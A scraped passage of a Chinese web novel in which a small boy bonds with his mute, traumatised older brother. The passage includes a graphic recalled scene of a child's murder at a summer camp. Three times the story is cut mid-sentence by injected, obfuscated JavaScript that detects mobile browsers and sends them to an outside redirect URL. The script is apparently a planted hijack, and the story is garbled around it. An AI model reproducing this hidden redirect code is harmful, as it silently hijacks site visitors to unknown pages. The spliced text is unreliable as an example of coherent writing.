季岁则走到书桌前,回来时手里拿着一个三阶魔方。 年年好奇地看过去,他还没有看仔细,就见季岁则的手指快速动作,只几秒的时间就将乱掉的魔方给复原了。 年年惊得瞪大双眼,没明白季岁则是如何还原这个魔方的。 季岁则对小团子的反应很满意,他将复原的魔方递给小团子。 年年问:“给我玩吗?” 季岁则:“你帮我打乱。” 年年从小到大的玩具只有一只小兔子玩偶和一套缺少零件的积木,他很羡慕邻居家的小孙子,总有玩不够的新玩具,魔方这东西,他还是第一次接触。 年年不知道怎么玩魔方,只能模仿季岁则的动作,小心翼翼转动一侧。 这个魔方是外公特地让人为季岁则打造的,转轴丝滑灵活,轻轻一推就能将它推到自己想要的位置。 年年玩了一会,魔方就被他给打乱了,他想将魔方复原,却不知道该如何做,只能求助地看向季岁则。 季岁则拿过魔方,跟刚才一样,年年还没来得及看清,魔方就以不可思议的速度复原了。 年年惊讶地“哇”了声,季岁则嘴角缓缓勾起,又将魔方递给年年,示意年年将它打乱。 乱掉的魔方再次落入季岁则手中,不出五秒,魔方再次还原,比前两次还要快,年年的惊叹声也更响亮了。 “想学吗?”季岁则将魔方托举至年年眼前。 年年猛点小脑袋:“想。” 季岁则伸出食指,按住年年的左颊,眼中又流露出熟悉的执拗。 年年:“……”三哥哥怎么那么喜欢看他笑呢? 10. 第 10 章 年年最常做的一个表情就是微笑。 他偶然从一部电视剧中学到一句话:人生已经够苦了,该笑的时候就尽情微笑吧。 所以,年年逼着自己要学会微笑,在面对爸爸妈妈的时候,他总是笑着的,如果爸爸妈妈能够仔细看看他的话,就能发现,他的笑容都是强撑出来的。 季岁则想要向他索取微笑,年年毫不犹豫就笑了起来,这个笑容没有掺杂半分虚假。三哥哥对他也很好,他想要满足三哥哥的愿望。 季岁则满意地盯着年年看了好一会,才放下手,转头就将魔方放进了柜子里。 年年错愕:“哥哥,你不打算教我了吗?” 是他笑得不够真实吗,三哥哥觉得不满意,所以不打算教他,也不打算把魔方给他玩了? 季岁则脱掉鞋子上床,将懵逼的小团子拉到他身边,拍拍他的枕头。 年年恍然大悟:“睡觉?” 季岁则点头。 年年忽然理解了季岁则的意思,他还是想要问清楚:“哥哥的意思是,现在太晚了,我们要睡觉了,等睡醒后,哥哥再教我玩魔方?” 季岁则还是点头。 年年心下稍安,冲季岁则露出一个甜甜的笑,缓缓躺在了季岁则身边,刚躺下,身上就盖下来一床被子。熟悉的柠檬草香气,跟他的被子一样的味道。 季岁则的房间只有一个枕头,两个孩子用正正好。年年一开始不敢占据太多面积,只敢挨着枕头边角躺着,但这样的高度令他不舒服,躺了半天都没能睡着。 他悄悄看向身侧的季岁则,床头灯亮着,两人的目光在昏黄的灯光中相撞。 年年紧张地舔了下嘴唇,问道:“哥哥,你怎么还不睡觉呀?” 季岁则伸手,掌心抚过年年的眼皮,手动帮年年闭上眼睛,像把问题抛了回来,示意年年赶紧睡觉。 年年握住季岁则的手指,咯咯笑道:“我马上就睡,哥哥也赶紧睡。” 季岁则没有收回手,只是把手放在了两人中间,回握住年年的手,闭上了眼睛。 年年等了会,听到季岁则匀速的呼吸声,猜测季岁则应该睡着了,才大着胆子往季岁则那挪。小脑袋快要挪到正中间时,眼前紧闭的眼帘忽然掀开,年年在季岁则的浅眸中看到了自己惊慌的表情。 “我、我睡得不舒服……”年年语无伦次道,“想调整下……” 才来这个世界不到一天,他始终有种寄人篱下的感觉。还是无法相信,自己真的拥有了两位很好的哥哥,做什么都是小心谨慎的。 季岁则眼也不眨地盯着他,极度的安静让年年生出恐慌来。季岁则忽然伸手,按住他的后脑勺,将他的脑袋推到了枕头中间。 “这样?” 年年愣了半天才反应过来,季岁则在问他:这样是不是舒服一点? “舒服了。”年年小小声道。 季岁则拍拍他的脑袋,手下移,又拍了拍他的后背,像是在哄他睡觉。 这两个温柔的动作瞬间安抚住年年,年年情不自禁笑起来,握紧了季岁则的手指:“哥哥。” 季岁则盯着年年的梨涡,心砰砰乱跳。 小团子主动对他笑了,他做到了。 “哥哥。” 季岁则眨眨眼,回应小团子的呼唤。 年年又重复了一遍:“哥哥。” 季岁则还是眨眨眼以作回应。 在年年第N遍喊出“哥哥”后,季岁则终于破功,开了口:“你想说什么?” 小团子的脸在他眼前放大,一个轻柔又带着奶味的吻落在他右颊上。 季岁则恍惚间听到小团子软乎乎的声音:“喜欢哥哥。” 年年已经睡着了,季岁则还睁着眼睛,年年清醒的时候,他敢明目张胆地盯着年年看,年年睡着后,他仍旧肆无忌惮盯着年年,仿佛永远也看不够似的。 季岁则是个怪小孩,大多数小孩对玩具没有抵抗力,季岁则却对它们不屑一顾,他喜欢读书,喜欢待在叔叔的实验室里,对着那些瓶瓶罐罐看上一整天,都比玩玩具要有意思。 能让他感兴趣的东西很少,一旦有兴趣了就会深陷其中。 季岁则在思考良久后,终于对小团子的这声“喜欢”得出了回应—— 他也是喜欢的。 季岁则往年年身边挪了挪,将两人的距离拉得更近。 两人的手从牵住的那一刻就没有松开过,防止睡觉时感冒,空调温度特意调高了几度,小孩子火气旺,只一会而已,相牵的手就冒出了汗,不知是小团子的,还是他的。 季岁则想,如果是小团子的话,他一定不会嫌弃。 又庆幸地想,如果冒汗的人是他的话,幸好小团子已经睡着了,不会发现这个秘密。 不知不觉中,季岁则的额头快要跟年年的额头贴在一起了,近距离下,他能看清小团子皮肤上的细小绒毛,很像水蜜桃上的绒毛,白白软软的,又比水蜜桃要可爱百倍。 季岁则观察够了,终于闭上沉重的眼皮,就着小团子清浅的呼吸声睡了过去。 …… 家里人都知道大哥有失眠症,很少有人知道季岁则也有睡眠问题,他不是被失眠折磨,而是被噩梦折磨,每次都能快速入睡,却总是被噩梦惊醒。 季岁则从未将这件事透露给任何人,打一开始,他就认定没有要说出口的必要。 今晚,他又做噩梦了,像是陷入循环中,反复做着同一场噩梦。 白天,季岁则跟朋友把随身携带的坚果投喂给了一只小松鼠,这只小松鼠一点都不怕生,跟着他们回到了营地,它倒是保留几分警惕心,站在离他们帐篷最近的一棵大树上看着他们。 深夜,季岁则被动静声惊醒,透过皎洁的月光,他看到一抹小身影站在帐篷外,正在撕扯帐篷。季岁则迅速清醒,并迅速认出了这抹身影是白天的小松鼠,他同时发现,睡在身边的朋友不见了。 这个时间正是入睡时间,一个四岁孩子不可能无缘无故乱跑的。 季岁则忙走出帐篷,去找睡在另一个帐篷里的老师,老师的帐篷开着,里面空无一人。 白日里还警惕的小松鼠在深夜时胆大了起来,窜到他身边拉住他的裤脚。 寂静的夜里响起小孩的哭声,这声音时断时续,不仔细听,会被猫头鹰的叫声给盖过。 声音再次响起的时候,季岁则顺着这道声音找了过去。 皎洁的月光照亮了朋友的身影,他被吊在这片区域最大的松树上,月光清晰地照出朋友狰狞的面庞,他眼球大睁着,额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691335|173362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头有多处磕伤,从七窍流出来的血流到脚尖,滴落在刚长出来的小蘑菇上。 白天的时候,季岁则确认这颗蘑菇没有毒,想摘回去做汤喝,朋友阻止了他。 “这蘑菇好可爱,它才刚长出来,还是个小孩菇呢!我们不要摘了,就让它静静待着,慢慢长大吧。” 季岁则呆滞地与那双遍布眼白的双眼对视,手中的电话不知何时被接通,接线员令人安心的声音从听筒内传来,他却什么都听不见了,也发不出声音。 “听说是复仇,那孩子的爷爷以前做过不少坏事,设计侵吞了他最好的朋友的家产,以为那家人都死绝了,没想到还有个私生子活着,隐瞒身份当了夏令营的老师。” “我见过那老师,人挺亲切温柔的,谁想到会干出这样丧心病狂的事情,他复仇就复仇吧,干嘛对一个没什么反抗能力的小孩出手?” “最可怜的还是苏家那个小孩,听说他是第一发现人,被吓得当场失声了。” “那老师还算有一点良心,没对这孩子动手,还主动投案自首了……” - 人在遭受巨大刺激后往往会忘记那一段记忆,季岁则没有忘记,却患上了失语症。 大人们常说,小孩的记性最差,成年后大多都会忘记儿时的记忆。自夏令营那件事发生后,季岁则最期盼的愿望是快快长大,那样他就可以遗忘那一段记忆了。 他花了半年的时间不去想那晚的事情,伪装自己早已释怀,身边的人都没有看出他的异样,只有他知道,每到深夜,恐怖的记忆会被唤醒,将他抓入噩梦的漩涡之中。 季岁则猛地睁开眼睛,眼里布满了惊恐,暖黄色的天花板映入眼帘,消减了一丝不安。 自那件事后,季岁则无法直视白色和红色,房间内的天花板由白替换成了温暖的黄色,房间内所有的东西都不能带上这两种颜色,都尽可能地换上了暖色调。 季岁则翻身坐起,手指被一股力道拉扯,低头一看。 睡梦中,小团子还紧紧握着他的手指,他刚才那一扯,几根手指从小团子的掌心中抽离,只剩下一根食指还被小团子紧紧圈着,仿佛是最后的挽留。 冷汗从季岁则的额角流下,他缓慢调整紊乱的呼吸,放弃了去浴室洗脸的打算,重新躺回到苏宥年身边,他将手指一根根塞回小团子的手心里,被温热黏腻包裹着,不安也在慢慢消退。 他伸手,轻轻戳了戳小团子的嘴角。 一下不够,又戳了一下。 还是不够。 再一次动手时,年年迷迷糊糊睁开眼,小声咕哝:“哥哥?” 季岁则停下动作,不安又似有预料般等待小团子推开他,下一秒,手指被握紧,小团子的另一只手搂住他的腰,小身体往他的怀里缩,小手轻拍了几下他的后背,黏糊糊道:“快点睡。” 年年没清醒,下意识认定身边的人失眠了,下意识用自己的能力去安抚身边的人,含着困意的声音不断轻哄道:“年年陪着你,快点睡哦……” 季岁则全身僵硬,落在他后背的手终于停下动作,小团子也再度熟睡过去。 半晌后,季岁则终于找回了身体的控制权,额头贴上小团子的额头,让汗沾湿对方的额头,把它视作粘合剂,将两人牢牢地粘在一起。 11. 第 11 章 年年是被窗外连续不停的鸟鸣声给吵醒的,睁开眼前,他就察觉手心一片湿滑,一睁眼便撞入季岁则的眼里,已经被吓习惯的年年很快就清醒过来,嘴角一弯:“哥哥。” 他的声音里带着刚睡醒的沙哑,像是咬开了一只红豆馅的青团,绵绵密密的,挠得季岁则心尖发痒。 季岁则面无表情地伸手,戳了下小团子的嘴角,一天还没开始,就戳到了心心念念的梨涡,他相信今天一定是非常愉快的一天。 两人的手握了一整晚,手心之间沁出不少汗,摩擦间还会发出咕啾咕啾的水声。 这是有记忆以来第一次,有人陪他从入睡到清醒,他不用害怕半夜被噩梦惊醒,因为找不到温暖的怀抱而哭泣,也不用担心睡醒后房间内空无一人的孤独感。 年年高兴地捏了捏季岁则的手指,凑上去,在季岁则的脸颊上重重亲了一口。 季岁则:“……” 突如其来的吻让季岁则的思考陷入停滞,他发愣间,年年挣脱了他的手,掀开被子就要下床。他的手快于脑子,抓住了年年的衣角。 年年回头,解释道:“哥哥,我去刷牙洗脸。” 季岁则指了指年年的左脚,年年拿起床边的小拐杖,笑道:“我有这个。” 季岁则有些不满,他难道不比这个破拐杖好用吗? 季岁则搂住年年的腰,将年年拖回了床中间,指着床,像是在说:你给我老实待着别动。 年年领悟到了三哥哥的意思,乖乖坐在床中间,眨巴着大眼睛,茫然不解地看着季岁则。就见季岁则跳下了床,把他的拐杖放到了角落,他够不到的位置。 “……”年年小声抗议,“哥哥,你把我的拐杖拿走了,我就不能走路了。” “你不需要走路。”季岁则忽然出声,走回到床边,双臂箍住年年的腰,将年年拉入他的怀中,“我可以抱着你。” 就像不信任季岁则能够背动他一样,年年更不相信季岁则能够抱起他,他俩的身高虽然差了半个头,但他看着要比季岁则胖很多。 年年再次担心自己会压垮季岁则,忙开口制止:“哥哥不要抱,我可以自己走的。” 他的提醒太晚,季岁则已经抱起了他,双脚踩不到实地的感觉让他开始心慌,只能紧紧搂住季岁则的脖子,像只树袋熊一样死死抱住季岁则,希望季岁则能靠谱一些,不要把他摔着了。 脚伤是真的很痛,他总是在爸爸妈妈面前装出很坚强的样子,但其实他最怕痛了。 “哥哥,你小心点……”年年颤声道。 季岁则闻言停下脚步,看向怀中颤抖个不停的小团子:“你担心我?” 年年:“……”我是担心你摔着我。 年年藏起了不敢说的,把能说的心里话全盘托出:“摔跤很疼的,哥哥要是也伤到脚了该怎么办?” 季岁则露出一抹浅笑,又稍纵即逝,让人难以察觉:“我不会摔跤,我会护好你。” 不管是声音还是体格,季岁则都要比苏晏珩稚嫩许多,但奇怪的是,季岁则这样说,年年就本能相信了,他不再颤抖,乖乖趴在季岁则肩膀上,放松身体,给季岁则减轻压力。 大床到浴室不远,年年感觉到季岁则的呼吸变乱了,但季岁则靠谱的没有扔下他,而是将他小心翼翼地放在了浴室的小凳子上。 季岁则的浴室布局跟他的一模一样,只是他的浴室是白瓷砖,而季岁则的则是天蓝色的。 盥洗池是根据季岁则的身高特别定制的,季岁则顺手拿起自己的牙刷,才想到一个问题,他把牙刷放回原位,对年年慎重叮嘱道:“我去你房间拿牙刷和毛巾,你坐着别动。” 年年很想说,他可以跟着一起去,这样能节省时间,来来回回多麻烦呀,而且他还是要回房间换衣服的。但季岁则说完就走了,根本不给他开口的机会。 年年无聊地观察整个浴室,重点落在盥洗台上。 昨晚太困,没有精力观察季岁则的房间,这会才发现,季岁则的房间没有一块白色。季岁则的刷牙杯是绿色的,牙刷和毛巾都是黄色的,连牙刷毛都没有一丁点白色。 年幼的他也知道,白色是生活中最常见的颜色,装修大多都会掺杂这个颜色,而季岁则身边却唯独没有这种颜色,有些奇怪。 不过他现在还太小,不足以思考更深层的问题,这点疑惑很快就因为别的事情而忘记了。 …… 季岁则推开年年的房间,在床上看到了一个意想不到的人。 苏晏珩睡眠很浅,一点动静声就会将他惊醒,房门被推开的瞬间他就睁开了眼,起身看向门口的季岁则。 “你怎么会在这里?”苏晏珩还没清醒,下意识问道。 这话也是季岁则想要问的,苏晏珩昨晚不是把门锁了睡得好好的吗?怎么一觉睡醒就挪到了小团子的房间? 苏晏珩习惯了弟弟的沉默,看出季岁则的疑惑,解释道:“睡不着就过来了……” 他自信以为离开了苏宥年,自己也能慢慢睡着,昨晚回去躺了大半天都没能睡着,苏宥年和季岁则来找他的时候,他耳朵里塞着耳机,压根没听到俩小孩的动静声,等人走后,他败给了自己的睡眠,决定厚着脸皮去找苏宥年,结果发现苏宥年不在房间里,这可把他给急坏了。 苏晏珩立马去调了监控,不仅知道苏宥年去了哪里,还发现两个孩子在他房门口做的一切。两个孩子难得关系亲近了些,苏晏珩不忍心打扰他们,在自己房间睡不着,他索性去了苏宥年的房间,奇迹的是,闻着苏宥年留在枕头和被子上的气味,他竟很快就入睡了。 这下,他不得不承认,苏宥年就是治愈他失眠的最佳药方。 “你怎么一个人过来了?年年呢?” 季岁则指了指自己的房间,没给出个具体的回答,大踏步往苏宥年的浴室走。 “诶,你什么意思啊。”苏晏珩还没清醒,不想去猜季岁则的手势,他快速下床,跟着季岁则也去了浴室。 这会,季岁则已经拿到了苏宥年的毛巾和牙刷,与苏晏珩擦身而过,一声不吭就离开了房间。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691336|173362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏晏珩抓了抓头发,对这个弟弟实在没辙,在好奇心的驱使下,他默默跟了过去。 季岁则进门时下意识要关门,被急忙赶来的苏晏珩挡住了,季岁则看了大哥一眼,没像以往那样坚决把大哥关在门外。 “哥哥,你回来啦。”年年看向季岁则身后的苏晏珩,眼里的光芒更加明亮了,“大哥哥。” 苏晏珩快步越过季岁则,在年年身前蹲下,摸了摸年年乱糟糟的头发:“昨晚睡得好吗?” “很好哦。”年年担忧地打量苏晏珩的面色,“哥哥睡得好吗?” 苏晏珩:“还不错。” 年年舒了口气,猜想是不是自己的治疗发挥了作用,只两次而已,他就帮苏晏珩治愈好了失眠症? 季岁则刚把牙膏挤到牙刷上,牙刷就被苏晏珩给夺走了。 “哥哥给你刷牙。” 年年乖觉地张大嘴巴。 苏晏珩还没给人刷过牙,动作十分生疏,一开始只敢刷门牙,见年年没有不适,才放开胆子,将“战场”转移到了内侧。 季岁则沉默地盯着一大一小,并未上前跟苏晏珩争夺刷牙的任务,等苏晏珩帮年年刷完牙后,他才把抓了许久的毛巾盖在年年脸上。 “唔……”年年没搞懂现在是什么情况,眼前一片黑暗,两只小手隔着温热的毛巾按着他的双颊,没什么规律地上下左右来回搓弄。 “洗脸不是这样洗的,你这样会把年年的脸给擦破。”苏晏珩抓住季岁则的手腕,善意提醒道。 季岁则停下动作,看向苏晏珩,似在用眼神示意苏晏珩往下说。 苏晏珩拿走季岁则手中的毛巾,自信满满道:“哥哥示范给你看,学着点啊!” 年年刚重获光明,毛巾又盖回他脸上,苏晏珩的手法和季岁则相比并没有好到哪里去。 小孩的皮肤很娇嫩,稍不注意就会弄伤皮肤,所以力道要把握精确。苏晏珩说的很动听,实则对这方面没有一点经验,他喜欢大力气擦脸,这样才能将脸上的污垢清除干净。 他倒是知道不能对年年用太大力气,尽管收了一部分力气,但还是把年年的脸颊搓得红通通的。毛巾取下来后,苏晏珩和季岁则都看懵了。 年年忍了又忍才忍住到嘴边的痛呼,湿润的眼睛和通红的脸颊还是出卖了他,他眨眨湿漉漉的睫毛,委屈地看着罪魁祸首,一声没吭,却比直接诉说委屈都要让人心疼。 季岁则罕见地瞪着苏晏珩,意思再明显不过:你根本不会,你还把他弄哭了! 苏晏珩满脸尴尬,捧住年年的脸,想揉搓,又怕对小孩的脸进行第二次伤害,心疼不已道:“痛怎么不说呀,你这傻孩子。” “也没有很痛。” 跟被滚烫的热水淋到相比,这点痛根本不算什么,他最擅长忍耐。 但此刻的情况又是另一回事,在得到从未有过的关心后,他忽然不想忍耐了。 年年吸了吸同样红了的小鼻子,将心中的想法全盘托出:“要是喊痛的话,哥哥就不会给我洗脸了。” 12. 第 12 章 年年从前只幻想过妈妈能够回头看看他一眼,心情好时能抱抱他,从没幻想过,有朝一日还能让长辈给他洗脸刷牙的。这会,不敢幻想的事情却实现了,从不敢奢望太多的他只想紧紧抓住当下,哪还会在意疼痛的事情。 哪怕未来哥哥们不帮他做这些了,他还能找出这段记忆好好回味。 苏晏珩听得心都软了,只恨不得将这只可爱的小崽子抱在怀里好一顿揉搓,他再也没了昨日的矜持,怎么想的就怎么去做。 热烈的怀抱没有吓到年年,这个怀抱对尚且年幼的他来说太紧密了,却让他难以挣脱,也不想挣脱。 他喜欢这样的拥抱,证明大哥哥是非常喜欢他的。 最后是季岁则看不下去,拍拍苏晏珩的肩膀,示意年年的脸已经憋得通红了,苏晏珩才恋恋不舍地松开年年,刚松开,又将人抱起。 “我先带年年去餐厅,你要跟我们一起吃吗?” 季岁则点点头,有过昨天的破例了,苏晏珩仍旧感到惊讶。自夏令营那件事过后,季岁则就将内心封闭了,他们有快一年的时间没有一起同桌吃饭了,季岁则的改变对他来说是一件天大的好事。 “那你洗漱完就赶紧下楼,我们等你。” 季岁则没有回应苏晏珩,而是看着苏晏珩怀里的年年,年年有所感应,冲他笑了笑。 苏晏珩的休假还有14天,只要再忍两个星期,他就能跟小团子单独相处了,苏晏珩一工作,好几个月不回家都是常事,算起来,他跟小团子单独相处的时间,要比苏晏珩多。 这样算,苏晏珩从他手里抢走的那点时间也不算什么了。 季岁则计划的很好,却没有料到,苏宥年要跟苏晏珩一起去工作。他下楼的时候,在餐厅里看到了苏晏珩的经纪人。 兆顺是行动派,当晚就跟节目组谈妥,一大早就拿着合同来找苏晏珩了。 一见到突然变得乖巧的苏宥年,兆顺忘记了此行的目的,逗弄了会年年,直到苏晏珩投来警告的眼神他才停了手。 “小则,好久不见呀。” 苏晏珩出道起就是兆顺带的,他比苏晏珩大五岁,不仅是经纪人,还是苏晏珩的朋友和长辈,苏晏珩的家人他都见过,跟苏晏珩的爷爷外公都聊得来,这么亲昵的叫季岁则也没有毛病。只是,他的笑脸永远都打动不了季岁则。 季岁则依旧面无表情地冲兆顺点了下头,就当是打过招呼了。 苏宥年身边的两个位置被苏晏珩和兆顺给瓜分了,季岁则扫视一圈,坐在了苏宥年对面。 “三少爷,您想吃什么?”守在一旁的陈妈问道。 季岁则看向苏宥年面前的碗盘,小米粥,煎饺,鸡蛋饼,包子,厨房准备的早餐应该都搬到了他面前,想来是苏晏珩的主意。 年年正好抓起一个肉包往嘴里放,季岁则立马指了指年年手中的包子。 陈妈刚端过来一盘包子,年年又吃下大哥哥喂过来的煎饺,季岁则又改了主意,陈妈说了声“好”,转身去拿煎饺了。 季岁则还没吃饺子,又指向年年手里的鸡蛋饼,陈妈心领神会,这次她学聪明了,出来时将剩余的早餐全都拿了出来,这样,季岁则就可以自由选择了。 陈妈憋笑看着季岁则,季岁则的重点压根不在早餐上,从落座后就目不转睛盯着对面的年年,年年吃什么,他就吃什么,年年停止咀嚼,他就停下咀嚼,年年擦嘴,他就擦嘴,把“模仿精”学到了极致。 兆顺看得啧啧称奇,想问苏晏珩,又碍于当事人在场,不好意思发问,只能将重点落在了正事上。 “节目后天正式录制,前两期是室内录制,老宅要是不方便录制的话,你就先带着年年搬去你的公寓。” 苏晏珩看向吃得腮帮子鼓鼓的年年,问道:“年年要去哥哥的公寓住吗?” 年年咽下满嘴的食物,惊喜道:“可以吗?” 他才来到这个世界,很想去外面转一转,只要可以出去,不管去哪里都会让他很开心。 “为什么不可以?”苏晏珩好笑道,“你想,我就带你去住。” 年年:“想的。” 季岁则竖起了耳朵,从三人的对话中得出了有用信息—— 大哥要带着小团子参加一档综艺,而且要搬出老宅。 重点是—— 录制期间,大哥和小团子都要待在一起。 季岁则重重放下筷子,苏晏珩和兆顺没觉得有问题,敏感的年年在第一时间就看向季岁则。他们在这聊得这么开心,都忘记三哥哥的存在了。 如果他们都搬出去的话,那三哥哥一个人在家,岂不是很寂寞? 思及此,年年扯扯大哥哥的手指:“哥哥,我们可以不搬出去吗?” “为什么?” 年年直言道:“要是搬出去的话,年年会想三哥哥的。” 季岁则的焦躁消散了些,只是胸口还是被一块大石堵着,让他很不舒服。 苏晏珩不是没有考虑到季岁则,而是理所当然觉得季岁则不喜欢被摄像机监视,如果选择在老宅录制,肯定会给季岁则带来不少麻烦,所以搬出去是最好的。 年年这样说,苏晏珩忽然想到一件事,他转头问季岁则:“你不是说今天要去外公家住吗?” 季岁则沉默不言,苏晏珩不以为意,又拍拍年年脑袋,说道:“你要是想三哥的话,我随时都可以带你去见他。” “我不去外公家。” 这话一出,餐桌上一片沉默。 苏晏珩昨天已经听过季岁则开口了,兆顺反而是最惊讶的那个。 季岁则竟然开口说话了? 这孩子的失语症难道治好了? 苏晏珩:“怎么不去了?” 季岁则拿起陈妈准备好的纸笔,刷刷刷写下几个字:【我要待在家】 年年三岁就认识很多字,季岁则书写工整,跟打印机印出来似的,这几个字他都认识。他第一次看到季岁则这种交流方式,不免觉得新奇,又觉得季岁则很厉害,能把字写得这么好看。 苏晏珩:“既然你不想去外公家,那就不去吧,外面天热,待在家里也挺好的。” 他不觉得把季岁则一个人丢在家有什么问题,管家保姆都在,季岁则以前也都是一个人关在房间里的。比起被人簇拥着,季岁则更喜欢一个人待着。 但这次,季岁则出乎了他的意料。 季岁则又写道:【我不要一个人待在家】 本子正对年年的方向,季岁则写完才想到,小团子可能不知道他写的是什么,他动了下嘴唇,缓慢开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691337|173362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口:“我不要一个人待在家。” 这话是说给小团子听的。 年年立马道:“年年陪你。” 一个人在家很可怜的! 季岁则面色稍霁,满意地点了下头。 苏晏珩有些为难:“我们在家的话,节目录制该怎么办?录制期间,你必须要待在房间里不能出来,你可以做到吗?” 别的小孩兴许做不到,季岁则完完全全能做到。 苏晏珩担忧的是,季岁则想去找小崽子玩,摄像机全方位拍摄,季岁则肯定会入镜。季岁则连拍照都抗拒,又怎么可能会同意被镜头拍到呢! 兆顺看出了点什么,问季岁则:“小则,你想上节目吗?” 季岁则不言,连一个眼神都没有给他,从始至终只盯着苏宥年。 兆顺并不在意,换了个问法:“你想跟年年一起上节目吗?” 这次,季岁则终于看向他,不假思索地点头。 兆顺明白了,这孩子的出发点和围绕的中心全都是苏宥年。 苏晏珩不可置信道:“你要上节目?” 苏晏珩倒不是反对季岁则上节目,在他看来,四兄弟中,季岁则是最排斥镜头的那一个。世界即将毁灭,季岁则还是会选择将自己关在自己的小世界里,怎么突然就敞开心扉,迈出一步了呢?还是一大步! 【我不上节目,我只是想跟苏宥年一起玩】 季岁则认定年年还不识字,所以大大方方写下了心里话,大大方方地将本子对准了年年。 他还特地写了“苏宥年”的名字,这样小团子就更看不懂了,但他低估了年年的智商。 这行字里有几个字年年不认识,但不妨碍他理解季岁则的意思。 白皙小脸因为激动泛起潮红,嘴巴一咧,露出两颗白白小小的门牙,软乎乎道:“我也想跟三哥哥一起玩!” 季岁则:“……” 握着本子的手开始颤抖,季岁则的耳根开始发烫,脸上还是一片镇定,但耳根的红迅速蔓延至脸颊,在即将被看穿之前,他迅速低下头,大脑飞速运转,都只围绕一个事实在转—— 小团子看得懂他写的字。 小团子看穿了他的心思! 苏晏珩难得看到弟弟露出害羞的一面,感动之余不禁好笑道:“有什么不好意思的,你想跟年年一起玩,我还能阻止你吗?” 季岁则第一次知道“害羞”的感觉,他努力装出淡定,跳下椅子,头也不回地离开餐厅。他还没走远,身后飘来苏晏珩毫不掩饰的笑声,伴随着兆顺的调侃。 “我以前怎么没看出来,小则还会不好意思呢!” “我也没看出来。” “还挺可爱的。” “你这是什么话,我弟弟当然可爱!” …… 季岁则回到房间就将自己关了起来,从未体验过的情绪搅得他无法冷静思考,他拿出没有写完的奥数题,试图用解题的方法让自己冷静下来,动笔时发现,他的脑子乱得厉害,数字在他脑中化为了一团纠缠的线。 房门被人轻轻叩响,季岁则以为是陈妈,没有理会。 安静了十几秒后,房门再次被敲响,季岁则还是不打算搭理,稚嫩的童音紧跟着敲门声响起:“哥哥,我们一起玩呀。” 13.第 13 章 听见苏宥年的声音,季岁则下意识就要去开门,走到半途忽然想起自己在餐厅写的那些话,他的脚步停住。 害羞的情绪令他困惑,也让他生出不想面对苏宥年的想法,他从未有过这样的情绪,此刻陌生的自己让他迷惑恐慌。 愣神间,门外的人停止了敲门和呼喊,想必等不到他,应该已经离开了。 季岁则没有为此松一口气,还觉得非常难受。 小团子主动亲近他,他却亲自将人给推远了。 季岁则懊恼不已,在苏宥年离开后才打开了门,以为已经离开的人其实没有离开。 年年坐在门口的地板上,听到开门声的瞬间便仰起了头,晶亮的目光望了过来,嘴角一咧,梨涡深陷:“哥哥。” 季岁则的心跳差点停跳,茫然道:“你怎么在这里?” “你不是说想跟我一起玩吗?”年年将问题抛还给了季岁则,又道,“大哥哥跟兆顺叔叔去谈工作了,我让陈妈送我上来的。” 再次被提起羞耻的事情,季岁则耳根仍旧发烫,但不像之前那般立即转身走人。 “你怎么不喊我?” “我喊你好几遍了。”年年小嘴一瘪,有些委屈道,“但是你没有回应我,我以为你不想理我了。” 心跳没有停止,反倒跳得更加剧烈了。 季岁则蹲下身,摸了摸小团子乱掉的头发,轻声道:“我没有不理你。” “真的吗?” 季岁则目光有一瞬的躲闪,撒了人生中第一个谎言:“你刚才敲门的时候我正在做题,我做题比较专心,没有听到你叫我。” 这一段原文中有讲,年年没有怀疑,他抓住季岁则的手指,像讨好,又像撒娇般捏了捏:“哥哥,你还要做题吗?” 季岁则:“不做了。” 现在的他连一道题都看不进去,做也是白做。 年年欣喜道:“那年年陪哥哥玩好不好呀?” 季岁则欣然答应,伸手就抱起了年年。有过一次体验了,年年还是很害怕,他跟树袋熊似的粘在季岁则身上,被季岁则抱进了屋,放在大床上。 季岁则从抽屉里拿出魔方,开始履行自己昨日的诺言,教年年如何复原魔方。 年年本来就是个智商很高的小孩,虽然远不及季岁则,但季岁则是个好老师,对他又耐心十足,他不会的地方,会不厌其烦的教导他。 还原魔方靠的是智慧和技巧,公式是最为重要的,牢记公式之外,还要有足够的经验积累。年年按照季岁则的教导和公式,花了半个小时的时间就自己复原了魔方。 年年将魔方高高捧起,期待地看着季岁则,没有说话,他在等待。 季岁则忽然明白小团子想要什么了,他不吝啬自己的夸奖,摸了摸小团子柔软的脑袋:“很厉害。” 这夸奖是发自内心,他是真的觉得苏宥年很厉害。季时雨当初也想跟他学习复原魔方,他给了季时雨一个小时的时间,季时雨都没能复原成功,还向他抱怨这太难了。 只是三阶魔方就难倒了季时雨,更别说更多阶的魔方了。 